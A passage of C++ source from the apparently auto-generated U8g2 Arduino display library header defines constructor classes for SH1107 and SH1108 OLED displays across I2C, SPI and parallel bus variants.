uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_128X128_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_128X128_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_128X128_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_128X128_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_128X128_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_128X128_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_128X128_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1108_128X160_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1108_128X160_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1108_128X160_1_6800 : public U8G2 {\n  public: U8G2_SH1108_128X160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_1_8080 : public U8G2 {\n  public: U8G2_SH1108_128X160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1108_128X160_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1108_128X160_2_6800 : public U8G2 {\n  public: U8G2_SH1108_128X160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_2_8080 : public U8G2 {\n  public: U8G2_SH1108_128X160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1108_128X160_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_128X160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1108_128X160_F_6800 : public U8G2 {\n  public: U8G2_SH1108_128X160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_F_8080 : public U8G2 {\n  public: U8G2_SH1108_128X160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_128x160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_128X160_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1108_128X160_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_128x160_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1108_128X160_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1108_128X160_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_128x160_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1108_128X160_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1108_128X160_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_128x160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1108_128X160_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1108_128X160_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_128x160_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1108_128X160_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1108_128X160_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_128x160_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1108_128X160_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1108_128X160_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_128x160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1108_128X160_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1108_128X160_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_128x160_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1108_128X160_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1108_128X160_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_128x160_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1108_128X160_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1108_128X160_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_128x160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1108_160X160_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_160X160_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass 